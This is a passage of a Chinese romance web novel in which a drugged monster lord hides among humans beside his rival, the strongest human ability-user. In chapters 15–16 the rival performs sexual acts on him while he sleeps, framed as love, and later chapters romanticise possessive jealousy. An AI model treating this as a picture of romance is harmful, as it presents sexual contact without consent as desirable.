肖闻笛抬手褪下他的拖鞋,晏深下意识瑟缩,被拽住脚踝压制在原位。
“别乱动。”
手掌的温度透过肌肤相贴处传导过来,与此同时,还有涓涓细流的力量涌入,体内那股磨人的燥热得到了缓解。
他本能地不再挣扎。
肖闻笛取下花洒,将水流轻柔地冲刷在脚背的伤口处,冰凉的水带走了热量,中和了烫伤的灼痛。
他的脚掌被小心翼翼地对待,那双苍灰色的眼中好像再无他物,神情认真且专注。
莫名的,心头的抗拒渐渐褪去,晏深紧绷的情绪放松下来。
他倚靠在浴缸壁上,水流汇入浴缸,将他浸泡其中。
清凉的水流带来舒适,和着力量的恢复让他舒服很多,空气中飘荡着淡淡的草木香味,让他觉得安心又放松,他不禁迷迷糊糊闭上了眼睛。
梦境宁静且安逸。
晏深躺在巢穴附近的那片静谧湖水里,天空中弯弯的月牙皎洁而明亮。
在湖水里泡澡,是他每天晚上都很期待的休憩项目。
只不过今天,好像有哪里不太一样。
幽深的湖水里好像有一条灵活的鱼儿,在其他生物全部对他退避三舍不敢靠近的时候,胆大地来到他的身边。
晏深伸出手,鱼儿凑过来,舔舐他的指尖。
濡湿的触感奇妙又新奇,传来酥酥痒痒的触感,又经过神经末梢,直达脑海。
紫金色的眼眸闪过异样的光芒,晏深没有推开冒犯的鱼儿,反而配合着它,任由它的接近。
漂亮的眼眸中浮起潮湿的水痕,细密的睫毛上挂起晶莹的泪花。
弯弯的月牙越过中空,向着西侧倾斜……
晏深大口大口喘息着,眼前仿佛有烟花绽放。
绚烂。
迷幻。
又让人难以置信。
*
空旷的浴室里,肖闻笛喉结滚动,舌尖扫过唇畔,舔舐而过。
他凝视着浴缸中熟睡的人,神色幽深宛如寂静古刹中的深井潭水。
原本,肖闻笛已经打算离开。
清凉的水流已经能够帮晏深消退燥热,只要泡上几个小时,应该会好受很多。
而就在他转身的一瞬,右手被拉住。
“不要走……”
晏深的手指缠绕着他的手,力道不大,却牢牢地将他钉在原地,再难向外迈出分毫。
甚至直到现在,右手仍被紧紧地攥在素白纤细的指间。
而彼时……
浴缸中的水堪堪没过晏深的小腹……
肖闻笛的眼底暗潮翻涌。
那是野兽在张狂着欲望。
沉睡的人没有了白日里的抗拒和疏离,整个人透着柔顺的亲昵。
素白的手指勾动,扫过他的掌心。
脑海中紧绷的弦霎时断裂。
“是你要我留下的。”
苍灰色的眼眸暗如渊薮,肖闻笛轻声陈述,似询问,又似宣告。
“所以接下来,我对你做出什么,你都是同意的,对吗?”
16. 舔吻
空旷的浴室。
水流潺潺。
清凉的水位已经没过腰腹,然而本意是驱散灼热的介质,此刻却牵引起更加难以遏制的浪潮。
湿透的衣服已经被脱下丢在一旁,晏深横躺在浴缸里,瀑布般的长发浸湿,飘荡在水面上,遮掩着其下莹润白皙的胴体。
纤细的四肢摆放在身侧,如同脆弱易折的玩偶,浓密的眼睫低垂,覆盖着白日里慵懒疏离的墨色眼瞳。
晏深睡得深沉,原本平静祥和的深夜,有什么东西正在悄然作乱。
素白的腕足被小心翼翼地抬起握在掌间,透明的水流向下流淌,溅落在水面激起一片涟漪,更浸湿了探访者的衣衫。
肖闻笛眸光又沉又暗,凛冽如山巅雪的眼眸深处正肆虐着一场猛烈的暴风雪。
细腻的皮肤犹如最为上乘的羊脂玉,每一次接触都让他为之疯狂。
舌尖舔舐着那片细腻的肌肤,在白皙的踝骨处印下糜丽的红痕。
肖闻笛的目光落在隐匿的水波之下,更落在心上人泛起红晕的脸颊之上。
“你看,你动情了。”
在晏深面前,肖闻笛从未想过做正人君子。
更何况,如今是晏深需要他的帮助,更是晏深在他好不容易下定决心离开的瞬间拉住了他。
决心一旦崩塌,便如洪水决堤,再无回旋的可能。
温热的口腔包裹住,亲吻着那片同样炙热的肌肤。
美妙的哼吟是最为鼓舞的奏鸣曲,即便肖闻笛并不善于此道,仍摸索着满足晏深的所有需求。
纤细的指节紧紧抓住浴缸的缸壁,莹润的脚趾蜷缩绷紧,肖闻笛起身,拇指抹掉唇畔残留的湿润。
晏深脸上不正常的红晕已经消退,浴缸里的水对于现在的他来说太过冰凉。
再停留下去,恐怕要着凉生病。
肖闻笛将人打横抱起,包裹在毛茸茸的浴巾中,小心翼翼地擦拭干净后,将人放回床上。
“晏深……”
肖闻笛轻声呼唤着心上人的名字,声音里透着几分低沉的沙哑。
他的眼底晦暗翻涌,隐含期待:“什么时候才能正大光明地触碰你?”
询问无人应答。
晏深睡得依旧深沉。
而肖闻笛却并不气馁,伸出指腹覆上唇瓣,沿着唇形细细摩挲,直到蹂躏成荼靡瑰丽的赤红。
“没关系。”
“我会一直等下去。”
肖闻笛平静倾诉。
当欲望难以遏制时,只要一个小小的宣泄口,他便能继续坚持下去。
但是啊……
肖闻笛看着身下从刚才就一直强烈的存在,眼底是浓重化不开的墨色。
“千万不要让我等太久。”
*
晏深醒来的时候,窗外的夜色已经很深了。
手背上传来异样的触感,他侧眸去看,发现小跳蛛守在他的身边,眼泪啪嗒啪嗒往下掉。
那架势,那神情……
宛如哭丧。
晏深:“………”
他还没死呢。
“你在干嘛?”
受不了热泪一抔又一抔地砸在自己的手背上,晏深无奈出声。
见他醒来,小跳蛛先是一愣,然后哭得更厉害了。
“大、大人——!”
“呜呜呜……都是小跳蛛不好,不该离开您的身边……您、您还好吗?身体有没有哪里痛?要不要我去给您买药?”
“???”
他为什么会有哪里痛?
晏深不明所以,扒拉开凑过来宛如探望绝症病人的小跳蛛,语气轻快:“别闹,我好得很。”
甚至可以说,好极了。
傍晚时分莫名涌起的欲..火已经偃旗息鼓,而彼时枯竭的力量也已经再度恢复。
想来是肖闻笛在浴室帮他处理脚背烫伤时,二人肌肤接触恢复的。
而且这一次,恢复的效率格外高,短短几分钟,居然比之前一夜还要多,现在他体内的力量是失去力量以来最丰沛的时刻。
脚背上的烫伤也已经没有了大碍,他现在的身体状况非常好。
但与他的精神焕发不同,小跳蛛脸上仍旧挂着泪,神情恹恹的。
八只复眼扫过自家大人的身上……不知什么时候起,白日里穿着的衣服已经不见,转而换上了另一件棉质睡衣,只是这睡衣是由谁换的,小跳蛛不敢细想。
脑海里又不禁浮现起浴室里那滩未干的水迹,还有脏衣篓里交缠在一起的湿衣服……
小跳蛛不安地再次确认:“大人,您身上真的没有哪里痛吗?”
晏深摇了摇头,正奇怪它为何如此反复询问,卧室门外传来了脚步声,逐渐接近。
“是肖闻笛,你……”
晏深叮嘱小跳蛛先藏起来,转头却发现房间里早就没了它的踪影。
窗帘微晃。
窗户开着一条细缝。
晏深:“……”
跑得真快。
这就是人类最强对普通怪物的威慑力吗?
卧室门恰时打开。
肖闻笛出现在门口:“我煮了粥,要不要吃点?”
“……好。”
晏深收回思绪,下床穿上拖鞋,低头的一瞬,丝毫没有注意到那双苍灰色的眼眸略过他的头顶,凌厉地扫过窗户的缝隙。
无声的电弧闪过。
窗扇关闭。
仿若被风刮上。
*
餐桌上已经摆放着新鲜出炉的米粥,熬制得粘稠恰到好处。
“你的身体不适,不宜吃太过复杂的饭菜,先喝点粥暖暖胃。”
肖闻笛体贴地将米粥放到他的面前,晏深从早上回来后就一直没怎么吃东西,当下拿起勺子小口喝了起来。
味道是一如既往的美味。
他食指大动,一时间,房间里只剩下勺子碰撞碗壁的轻微脆响。
一碗喝净又续上第二碗、第三碗……直到饱腹感浮起,晏深这才餍足地放下餐具。
温热的指腹从对面伸来,扫过他的唇角,留下粗粝的触感。
晏深抬眸。
“沾到东西了。”
肖闻笛举起手指示意,指腹上沾染着从唇角抹去的食物残渣。
也许是美食入腹让晏深心情大好,他对肖闻笛少了几分抵触和防备,脸上扬起清浅的笑意:“谢谢。”
肖闻笛眸光晃动,片刻后,才低沉着嗓音回道:“不用谢。”
碗筷被收拾回厨房,晏深正准备回房间,肖闻笛喊住了他:“换上衣服,我带你去医院。”
“……?”晏深歪头,“去医院做什么?”
“你刚才……”肖闻笛停
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顿,目光落在他的身上,未明说而意思已经很明显。
晏深:“……”
这可真是糟糕了。
他后知后觉,自己的两次状态异常都被肖闻笛撞见,在对方的眼里,自己恐怕是身染恶疾,急需医治。
但人类的医院可不能随便去。
虽然检测机不明缘由地标示他为人类,但他的本体毕竟是怪物,被熟知人类身体特征的医生检查,说不好会不会露出破绽。
当下力量仅仅恢复了九牛一毛,不能贸然冒险。
“不用,我已经没事了。”晏深直言拒绝。
但肖闻笛依旧坚持,晏深不得不加码找借口推拒:“都是老毛病,我很清楚我自己——”
然而话还没有说完,肖闻笛目光沉沉看来,低声重复:“——‘老毛病’?”
晏深被看得心里一突,莫名的,那股久违的、危险的气息再度浮现。
肖闻笛凝视着他,二人目光相撞,晏深仿佛在他的眼底看到了什么,又一闪即逝。
不过须臾之间,那双苍灰色的眼眸如往常般平静,一切仿若错觉。
“既然是老毛病,我便不多问了。”
见肖闻笛不再坚持,晏深不禁松了一口气。
“但如果……”肖闻笛郑重地看着他,继续说道,“以后有需要,你可以随时来找我。”
去医院吗?
那是肯定不会的了。
不过晏深还是仰起了头,笑着回应:
“好。”
*
深夜寂静。
床上的人已经睡熟,呼吸规律而平稳。
肖闻笛睁开眼睛,眼底一片幽暗的晦涩,犹如暴风雨前沉沉压下的苍茫天际。
他彻夜难眠。
心头更是萦绕着驱之不散的郁躁烦闷。
虽然晏深答应了他,如果以后再犯病,会来找他帮忙疏解。
但……
“老毛病”三个字如驱散不掉的阴霾萦绕盘旋,他难以想象,晏深今晚那样的娇喘模样,究竟还曾被多少人看到过?
肖闻笛不禁回想起离开深渊的那日,于万顷雷电下依旧穷追不舍的庞大怪物身躯。
原本他以为晏深和赫川之间是发生了不可调节的矛盾,是怪物之间权力的倾轧,下属的反叛,你不死我便不休的争斗……
但如今细细想来,又何尝不能是情感的纠葛,他逃他追的戏码?
或许他们之间,早就发生过什么……
肖闻笛紧紧握拳,骨节嘎嘎作响,手背上青筋凸起。
酸妒在胸腔中翻涌,侵蚀着他仅剩不多的理智。
床上熟睡的人无知无觉,细密的睫毛遮掩着漂亮的眼睛,一派任人予取予求的模样。
只要他伸出手……他将一点一点覆盖掉过往的痕迹,让自己的气息浸染到每一寸肌肤,直到曾经的过往再也遍寻不到任何踪迹。
“你是我的。”
“只能是我的。”
低沉的呢喃宣告着所有权,痛苦的挣扎在脑海中天人交战,混沌成一团杂乱的雾气,遮掩了山巅雪般凛冽的眼眸。
突然,窗户外有什么动静。
遒劲的手臂挥舞出一道残影,苍蓝色的雷电卷挟着疾风迅捷而至,将窗外窥伺的生物捏在股掌之间。
肖闻笛眯起了眼睛。
杀意毕现。
17. 寻找
窗外的窥伺者被捏在指间,熟悉的模样映入眼帘。
肖闻笛眯起了眼睛。
——又是它。
小跳蛛浑身僵硬。
它万万没想到,自己千挑万选找了万籁俱寂的时刻爬上来,却还是被肖闻笛抓了个正着。
属于人类最强的那双苍灰色眼睛危险地眯起,其中蕴含着比昨晚更加致命的凝视。
“……你也是?”
危险的腔调,散发着可怖的气息,沉声质问。
“是、是什么?”小跳蛛颤颤巍巍发着抖,丈二和尚摸不着头脑,见对方挑起眉头,心中顿时警铃大作。
啊啊啊啊!
好可怕!
总感觉问题答不好,就要当场被嘎啊!!!!!
这个人类受什么刺激了吗?!怎么突然发疯啊啊啊啊啊!!!!
内心疯狂吐槽,小跳蛛却不敢耽搁分毫,连忙补充道:“我、我只是担心大人,上来看看。”
“担心?”
肖闻笛咀嚼着它的回答,冷冷打量。
小跳蛛后背发冷。
第六感告诉它,就算真话很可能得罪了肖闻笛,也必须说出口,否则按照当下的境况下去,自己下一秒就要被捏爆,小命不保。
它闭上眼睛大喊:“当然是担心大人被你占便宜啊!我、我家大人还什么都不懂呢,你不许欺负他!”
空气瞬间凝滞。
死亡的恐惧让小跳蛛不敢直视面前的男人,不过它隐约感觉得到,空气中的森然杀意在渐渐消退。
得、得救了吗?
小跳蛛内心忐忑。
片刻之后。
肖闻笛开口,语气不再如剑刃般锐利冰冷,不过冷然依旧:“你不是。”
小跳蛛:“……”
到底什么是与不是啊???
“但是他……”肖闻笛的语气陡然降至冰点,阴沉至极。
他?又是谁啊?
而不待小跳蛛搞清楚,下一秒,世界天旋地转。
它被毫不留情地丢了出去,圆润的身体在地上滚着圈。
小跳蛛狼狈地扣抓着地面,好不容易才稳住身形,晃了晃晕头转向的脑瓜,还没来得及体会劫后余生的喜悦,冷然的质问紧随而至。
“他的身体怎么回事?”
小跳蛛反应过来这里的“他”指的应该是自家大人,这才注意到晏深的状况不对。
它心急如焚地想跳到床上去查看情况,又被凌厉的眼神钉死在原地。
八条腿不敢再动分毫。
极低的气压下,小跳蛛思绪千回百转,最后在保命和保护大人的天平上左右平衡,选择避开暴露身份的信息,尽力解释。
“是药,大人在深渊被囚禁时,被赫川那个混蛋灌下了一种药。”
“药?”
错愕闪过,就像是不敢相信自己听到什么,肖闻笛目光落在沉睡的人身上,声音不可控制地发着颤。
“……是什么药?”
向来强悍冷孑的人如此明显的失态,小跳蛛心下惊异,不过它不敢抬头,低着头说道:
“不知道,我们也在查。但我们原本以为药效只是一次性的,没想到居然又复发——”
“‘一次性’?”
肖闻笛打断了它。
“是、是啊。”小跳蛛讷讷点头。
生物的本能让它敏锐地察觉到空气中的气息发生了变化,但它不明缘由,只能继续说道:“就几天前,大人被囚禁在深渊,是第一次药效发作,今晚是第二次。”
良久。
上方都没有传来任何动静。
但小跳蛛明显地感觉到,周边的空气彻底改变了。
所有森然暴戾的气息全部收敛消失不见,取而代之的是不可思议的柔和,甚至……还有微妙的气息掺杂其中。
好像……是自责,是懊悔,是恨不得以身替代的无声嘶吼……
但……
怎么可能呢?
小跳蛛觉得自己一定是产生了错觉。
“出去。”
沉寂许久后的声音让它如遇大赦,忙不迭地交替着八条腿爬出窗户。
在窗帘遮掩室内的最后一瞬,小跳蛛忍不住回头。
昏暗的卧室内,曾经印象中杀伐狠厉、宛如煞神的男人,此刻正低垂着头看着床上的人,那双凛然的苍灰色眼眸中,翻涌着复杂难辨的色彩。
下一瞬。
窗帘拉合。
再难窥探分毫。
*
攻掠处终于忙了起来。
这已经是晏深第三天起床后没有看到肖闻笛了。
死敌不在身边的日子,真是轻松又舒畅。
最重要的是,他可以随心所欲地外出,去到人群密集的区域,寻找能帮他恢复力量的人类。
晏深精神振奋!
只要找到除肖闻笛之外的第二人,他马上就能彻底离开了!
然而……
整整三天下来,晏深一无所获。
“怎么会这样??!”
晏深低头看着自己的掌心,大为不解。
这三天来,无论是擦肩而过,还是刻意接触……各种方法触碰到的人不说上千,也有几百。
怎么可能一个人都找不到呢?!
而且别说像肖闻笛那样让他明显恢复力量了,这几百人里面,竟然没有一个人能引起他身体内的力量波动!
一丝一毫!
都没有!
简直难以置信!
晏深颓然坐在路边,紫金色的伞面遮挡着头顶刺眼的阳光,他看着街道上人来人往,一时间失去了再次尝试的动力。
小跳蛛从他的口袋里探出个脑袋,安慰道:“大人,别灰心,或许只是普通人不行。”
普通人不行?
也就是说……得找异能者?
肖闻笛是人类族群中最为杰出的异能者,也许正是因为这点,所以他才能让自己恢复力量?
只是……
人海茫茫,他应该去哪里寻找异能者?哪里的异能者又最多呢?
晏深托腮思考。
然后眼睛一亮。
*
“你要和我一起去管理局?”
清晨,准备出门的肖闻笛站在玄关处,看着已经穿戴整齐站在自己面前的人,苍灰色的眼底闪过细微的惊诧。
“可以吗?”
晏深歪着头询问。
他不确定肖闻笛是否会同意。
管理局是整个中央区异能者最为聚集的地方,是他能想到的最高效的验证地点。
但同时,管理局更是人类对抗怪物的机关要处
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,他的身份曾经被怀疑,虽然在检测机的验证下洗脱了嫌疑,但毕竟是毫无干系的外人,被拒绝进入也很正常。
肖闻笛的眼眸沉沉地凝视着他,似在考虑。
但晏深不能错失机会。
他上前一步。
墨色的长发如海藻般铺洒在肩头,黑曜石般的眼睛闪烁着期冀的光,整个人散发着前所未有的热切:“我一个人在家里很无聊,想……”
贝齿轻咬唇瓣,还是说出:“想和你待在一起。”
虽然不知道为什么要加上第二句话,但小跳蛛信誓旦旦地对他说:“大人,您就这样说,肖闻笛肯定会答应您的!”
为了提高成功率,晏深不得不赌一把。
他静静地等待着回复。
肖闻笛却低敛下了眉眼,侧身拿起桌上的车钥匙。
男人的手指瘦削而修长,骨节分明,手背上青筋凸显,指腹粗粝,带着明显的薄茧。
这是常年握剑留下的痕迹。
晏深不禁被吸引了目光。
曾经这人就是用这只手……
正在他胡乱想着时,低沉的嗓音传入耳廓:“跟紧我。”
晏深慢半拍反应过来。
——肖闻笛同意了!
那双苍灰色的眼睛倒映着他的模样,肖闻笛轻声叮嘱。
“不要乱跑。”
*
不乱跑是不可能的。
晏深已经打定主意,等肖闻笛忙起来顾不上他的时候,就悄悄溜出去实施大业。
只是他们到得太早,整栋大楼空寂无人,只有他们俩人独处一室。
明亮的灯光照亮着房间,晏深认出这是他几天前临时休息的地方,也是肖闻笛的办公室。
繁重的文件堆积在办公桌上,肖闻笛将他安置在沙发上,然后才回去处理公务。
沙发是熟悉的深灰色,就连面前的茶几上也摆着熟悉的点心和饮品,晏深待着也是待着,干脆窝在沙发里吃了起来。
安静的房间中,一时间只剩下酥脆的咀嚼声,和纸张偶尔翻动的声音。
而在晏深未曾注意的上方,炽热的视线越过障碍物,精准地落在他的身上。
纤瘦的人几乎整个身体都陷进了柔软的沙发内,墨色微弯的长发垂在身侧,将本就巴掌大的脸衬得愈发小巧精致,像个精雕细琢的洋娃娃。
他小口啃咬着饼干,细微的碎屑沾染在唇瓣上,又被舌尖舔舐而过,扫进内里,留下一片亮晶晶的湿漉,泛着醉人的红润。
肖闻笛眸色变得幽暗。
心上人的一举一动无一不牵动着他的心弦,而想到今早他对自己说的话……更有难耐的躁动在心间跳跃灼烧……
[想和你待在一起。]
纵然知晓其中有诓骗的成分,肖闻笛还是不可遏制地心潮澎湃。
他不管晏深有什么目的,只要他肯陪在他的身边,就算是要剖出他的心脏,他也甘之于饴。
更何况……
如今的晏深早已不再是曾经睥睨天下的怪物之主,失去力量的人根本伤不到自己分毫。
所有的举动都在掌控之中。
晏深想干什么,便都随他吧。
若要闹,他会陪他一起闹。
等闹累了……
便一起回家。
他们的家。
18. 交缠
李适是攻掠处的普通队员。
比起经常外出执行任务的精英小队成员,他的工作主要偏向于战后的文书整理及善后事项。
今天,他如往常般来到管理局,打算把昨天未清的工作做完。
他来得很早,管理局里还没有很多人,而当他来到攻掠处所在的楼层时,远远就看到有间办公室里亮着灯。
……是肖长官的办公室。
明明是无人能敌的人类最强,就连上层都要礼让三分的风云人物,却比他们这些小虾米还要勤勉刻苦,努力工作。
敬佩之心油然而生。
李适走过去问好,目光却在落进办公室时猛然顿住。
一道意外的身影站在窗前。
墨色微弯的长发垂落在后腰,宽松的棉质布料在轻风的吹拂下摇摆,映衬着纤瘦的身形。
……是谁?
怎么在肖长官的办公室里?
李适想到几年前某位世家小姐疯狂追求到管理局的事情,虽然不知道后来怎么解决的,但自那之后再也没有人来骚扰长官,而今天……又是哪家的小姐追来了吗?
为了不让肖长官困扰,李适连忙出声遣离:“喂,请你离开。”
窗前的身影一顿,侧身回眸。
乍亮的天光下,绝美的面容轻轻抬起,白皙的皮肤仿佛崭新剥壳的鸡蛋般吹弹可破,细密纤长的睫羽向上掀起,露出黑曜石般的眼眸反射着璀璨的光彩。
那人微微歪头:
“……你在和我说话?”
李适呼吸一窒。
他从未见过如此漂亮的人。
像是洋娃娃般精巧,雌雄莫辨,还是个……
男人。
“我、你……嗯……”李适慌张无措地点头。
然后又想起肖长官不喜欢外人进入他的办公室,若是被发现,这个漂亮的人恐怕要被粗暴地扔出管理局的大门。
此时,李适已经完全忘记自己是来遣离闯入者的,反而体贴地为对方考虑,出声提醒:“你快走吧,被肖长官发现就糟糕了。放心,我不会告诉别人你来过的。”
窗前的人静默不动,似有困惑。
李适着急起来。
要是被肖长官撞见,这人可真就要有麻烦了!
“你还不快——”
话还没有说完,走廊里传来脚步声,拐角处一抹黑色的衣角率先闯入眼帘。
坏了!
已经回来了!
来不及再多做什么,李适正襟站立:“长、长官!”
那双苍灰的眼眸淡然扫过,像是来自北极的寒风……李适不禁更加绷紧身体。
高大的身影越过他,径直走进办公室,看着肖闻笛的背影,李适内心暗道完蛋,他担心地看向房间中的人,却发现那人全然没有半点慌乱,反倒面色如常地迎上肖闻笛的目光。
“你回来了。”
“嗯,久等了。”
“………?!”李适瞪大眼睛,震惊且不可置信。
什么情况???!
他们那位向来冷孑,拒人千里之外的长官居然默许了来人的闯入????
甚至听二人的对话,似乎那人还是肖长官亲自带来的???
似是察觉到他站在门口久久没有离开,肖闻笛回首,目光落在他的身上,带着冷然的询问。
“有事?”
“……没、没有!”李适慌乱摇头,快步离开,眼角余光里最后的画面,是肖闻笛伸手抚上那人的额发……
瞳孔地震。
一整个上午,李适都魂不守舍,中午吃过饭,他正准备回去接着办公,路过拐角时却听到了熟悉的声音。
“谢谢你帮我。”
“不、不客气。”
攻掠处的队员小跑着离开,无人的走廊上只剩下那抹熟悉的背影。
墨色的发丝垂在耳侧,半遮着漂亮的眼眸,内里隐有失落流转。
像是破碎的玻璃玩偶,让人忍不住心生涟漪,驻足欣赏。
“——谁?!”
那人突然望过来,某一瞬间,李适仿佛感受到了凌厉的压迫感,那是他仅在肖闻笛身上嗅到过的,独属于强者的威压。
但……
怎么可能?
李适再去细看,又什么都没有。
恍惚间,那人已经走到他的面前,见到是他,唇角勾起细微的笑意,向着他伸出手:“你好,又见面了。”
“你、你好。”李适受宠若惊,回握住那人的手,入手细腻温润,全然不似一般男人的粗糙。
他一时晃神。
“你的异能是什么系?”
“风系。”李适下意识回答,而等答案说出了口,才恍然回神。
……问他异能做什么?
晏深攥紧对方的手,细细感受,而无论他再怎么努力接触,也感受不到任何一丝力量的波动。
不止李适,从今早开始,他借机溜出肖闻笛的办公室后,尝试接触了很多异能者,但无一例外,全部都不能帮助他恢复力量。
晏深又怀疑是异能类别的问题,所以后续接触的人都询问了他们的异能类别。截至目前,除了雷系,其他的都已经全部接触过,但……
细密的睫毛低垂,遮掩住失落。
是数量不够?
类别不对?
还是……
正在晏深思虑重重的时候,一道凛然的嗓音插了进来。
“你们在做什么?”
掌心的手指一抖,晏深感受到对面的闪躲,正好已经验证结束,多接触下去也不会改变什么,他从善如流地松开了手。
肖闻笛出现在面前,冷如冰山的目光刮过二人堪堪分离的双手。
李适慌慌张张:“长、长官!”明明没有做什么,但被肖闻笛注视,总有种莫名的心虚和下一秒曝尸荒野的恐惧。
晏深倒没有这种感觉,只是之前答应肖闻笛不乱跑,如今却被抓个现行,难免尴尬:“你忙完了?我们正巧碰到,打个招呼。”
“哦?”
冷然的打量落在李适的身上,吓得他连忙回应:“是、是的!”
晏深怕他嘴快秃噜出来刚才自己询问异能的事情,以肖闻笛的敏锐,说不准会察觉出什么,于是匆匆挥手,拉起肖闻笛的胳膊向回走。
“我们回去吧。”
急于离开的晏深全然没有意识到此刻的举动有多么亲昵,还在担心暴露的人只庆幸胳膊上没有传来阻力。
更没有发现,身后的李适瞪大眼睛,眼底惊涛骇浪的震惊。
二人回到了办公室。
虽然一路顺利,但……
晏深微微侧眸。
肖闻笛的脸色好像不太好?
是在生气自己乱跑吗?
就在晏深犹豫要不要先开口时,肖闻笛没有停下脚步,反手拉起他的手继续向里走。
肖闻笛的个子本就比他高,此刻步履匆匆,晏深不得不小跑两步跟上。
拉着他的手掌遒劲有力,甚至因为情绪的波动而青筋凸起。
晏深心头一跳,尝试挣脱两下都没有挣开。
他被带到办公室内的洗手台前。
不由分说地,肖闻笛打开水龙头,温热的水流冲刷而下。
晏深下意识闪躲。
“别动。”
低沉的语气隐隐带着愠怒,空气中弥漫着危险的气息。
生物的本能叫嚣,晏深不敢再动,任由肖闻笛一根根掰开他的手指。
洗手液的泡沫浮起交叠,将每一分每一厘都细细覆盖。
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片刻后,肖闻笛才再度开口,声音又低又沉:“管理局里很乱,不是说好不要乱跑吗?”
晏深:“……”
果然在因为这个生气。
“抱歉……我只是有点无聊。”
不过……
晏深不太理解。
生气会归生气,为什么要一直洗他的手呢?
眼角余光里,肖闻笛神情格外认真,目光专注仿佛在处理什么足以影响人生的重大事项。
粗粝的指腹划过他的掌心,带起一股股电流般的战栗,又麻又痒。
晏深不太自在,又不敢太大动作惹恼了肖闻笛,于是只能轻微地缩了缩手指。
骤然间,修长有力的指节插进他的指缝,将蜷缩的手指撑开而后紧紧相扣。
——这已经完全脱离了洗手该有的接触。
晏深讶然抬头。
正撞进那片冬日雾凇般冷冽的眼眸中。
那是经历过暴风雪后短暂的平静,又带着随时可能卷土重来的暗潮。
“我的给你摸。”
肖闻笛一字一顿,说着晏深听不懂的话。
“想摸多久都可以。”
温润的力量经由二人手掌贴合处涓涓而来,汇入身体聚成溪流。
这是晏深汲汲营营,无比渴求得到的恢复效果,却寻寻觅觅多日仍毫无所获。
只有在肖闻笛身上……
但又只有肖闻笛不可以。
——肖闻笛太熟悉他了。
接触的时间越长,暴露的风险越大,他必须尽快离开。
晏深垂下眼睑遮掩心绪,任由肖闻笛将掌心的泡沫揉搓出更加蓬松的状态。
“你刚才在问他们的异能?”
晏深心头一突。
还是被听到了吗?
肖闻笛的声音里却并未见怀疑与猜忌:“如果你想要,我可以让岳宁给你列出所有人的清单。”
清单?
肖闻笛为什么会这么说?他没有理由给管理局的外部人员一份内部清单吧?
晏深心头千回百转,但不得不承认,只要拿到清单,他去寻找雷系的异能者会更加方便快捷。
但是……不能让肖闻笛发现他的真实意图。
“……不用,我刚才只是一时兴起,随便问问。”
素白的手指弯曲,回握住水流中的另一只手,肌肤贴合,再无间隙。
晏深的表情纯善无害,仿佛是不经意间的举动。
肖闻笛眸光变暗。
他知道晏深在寻找着什么。
虽然不知道具体是什么东西,但与其让他无头苍蝇乱撞,让太多不相干的人触碰到自己都不曾仔细触摸过的双手,不如主动出击,迅速帮晏深解决问题。
“你待在管理局里也无聊,就当打发时间。”
肖闻笛一锤定音。
晏深状若随意,心中暗喜:成了!
只要拿到清单,他很快就可以找到能帮他恢复力量的异能者。
现在,就姑且留在肖闻笛的身边。
然而几分钟之后……
晏深看着仍然淹没在泡沫之下,与死敌十指交缠的右手。
“………”
还没洗完吗?
晏深抬头看向肖闻笛。
也许是察觉到他的目光,也许是刚刚洗好,肖闻笛用清水冲掉了泡沫,结束了长达十余分钟的清洁工作。
素白的手指散发着洗手液清新的草本香气,再也没有闲杂人等惹人厌烦的气息。
愠怒的神情终于收敛。
苍灰色的眼底是浓厚到化不开的占有欲。
晏深是他的。
只能沾染上属于他的味道。
而现在……
还远远不够。
19. 心意
晏深起晚了半个小时。
早起真的很不适合他,以往在深渊,他向来都是睡到自然醒。
而如今为了恢复力量四处奔波,已经连续好几天早起了,这两天甚至为了跟上肖闻笛,每天都在6点之前起床!
整个人宛如被掏空。
好在今天就能从肖闻笛手里拿到攻掠处所有人的异能清单,煎熬马上就能结束。
二人吃完早饭来到管理局大楼,里面比昨天热闹很多,早晨上班的工作人员络绎不绝。
人们或打着哈欠等电梯,或与相熟的部门同事打着招呼,而当肖闻笛踏进大厅时,所有人的目光不约而同地被吸引了过来。
“肖长官!”
“早上好!”
此起彼伏的打招呼的声音,肖闻笛淡然颔首示意,颀长的身形径直穿梭过众人,牵着晏深的手来到电梯前。
刹那间。
周围的氛围全变了。
原本落在肖闻笛身上的目光,全部经由二人相握的掌间,转移到了晏深的身上。
而原本敬畏的目光,也全部被惊讶愕然取代。
这人是谁?
为什么肖长官会牵着他的手?!
在看清晏深的模样后,惊讶愕然中又浮起遮掩不住的惊艳,每个人都情不自禁被那张昳丽绝美的面容吸引了全部注意力。
视线太过集中。
晏深不自在地动了下。
真是不该……起晚啊。
无关人员进入管理局还是太扎眼了。
要不是有肖闻笛在旁边替他背书,怕不是现在他就要被众人当场轰出去了吧?
身为怪物之主却深入人类腹地的突兀感让晏深浑身别扭,不过幸好电梯很快抵达一楼,“叮咚”一声打开了门。
晏深低头快步走进电梯,迎面却出来一个熟悉的人。
短发寸头的青年惊喜地打着招呼:“老大!咦?你也在啊!”
周图拍了拍晏深的肩膀,赤诚的脸上洋溢着热情的笑容。
是他。
在入城时唯一站在自己这边的人。
晏深对周图印象不错,虽然他明显误会了自己的身份,但晏深还是愿意善意地回应。
面前却突然出现一堵黑墙。
宽厚的脊背挡住他的视线,肖闻笛的声音一如既往的冷冽,问周图:“出去?”
周图大大咧咧:“是呀,这不是——”
“出去就快去,别耽误时间。”
被骤然打断,周图愣愣点头:“噢,好……”
等反应过来时,肖闻笛已经拉着晏深越过他,走进了电梯。
“嗒——”
电梯门关闭。
周图茫然地摸着后脑勺。
怎么感觉这几天老大对他冷淡许多?可老大一直冷冷的,所以……应该是错觉吧?
算了,还得去忙正事呢!
周图摇摇头甩掉乱七八糟的念头,转身正要向外走,却被黑压压的人群迎面围堵。
大厅里原本观望的人们全部凑到他的面前,七嘴八舌问道:
“那人是谁?”“他怎么会在肖长官身边?”
“肖长官还牵着他的手?”“他们是什么关系?”
“难道他们是……?”“不会吧不会吧?万年铁树开花了?”
追问一轮压着一轮,周图险些招架不住。
但老大的事他哪敢乱说,只回答道:“是我们从深渊解救回来的平民。”“不知道啊,可能是带他来登记的吧,他失忆了,我们得帮他找家人。”
“哦…………”
原来只是工作……
八卦的人们失望而归,求证的人们松了一口气,热情消散,人群零零散散地四散开来。
周图缓了一口气。
蓦地,他突然想起那天岳宁面色凝重地思虑良久,然后问他:“你觉不觉得……长官喜欢那人?”
“喜欢”……?
不可能吧?
周图记得自己曾经偶然经过攻掠处的办公室,听到有家里长辈来催婚,肖闻笛斩钉截铁不容置喙地打断:“我永远不会喜欢上任何人。”
语气坚决。
仿佛日月山川不可动摇。
他们老大向来说到做到,这些年来也都孑然一身,身边从未出现过任何异性或同性。
所以……
喜欢什么的,是不可能的吧。
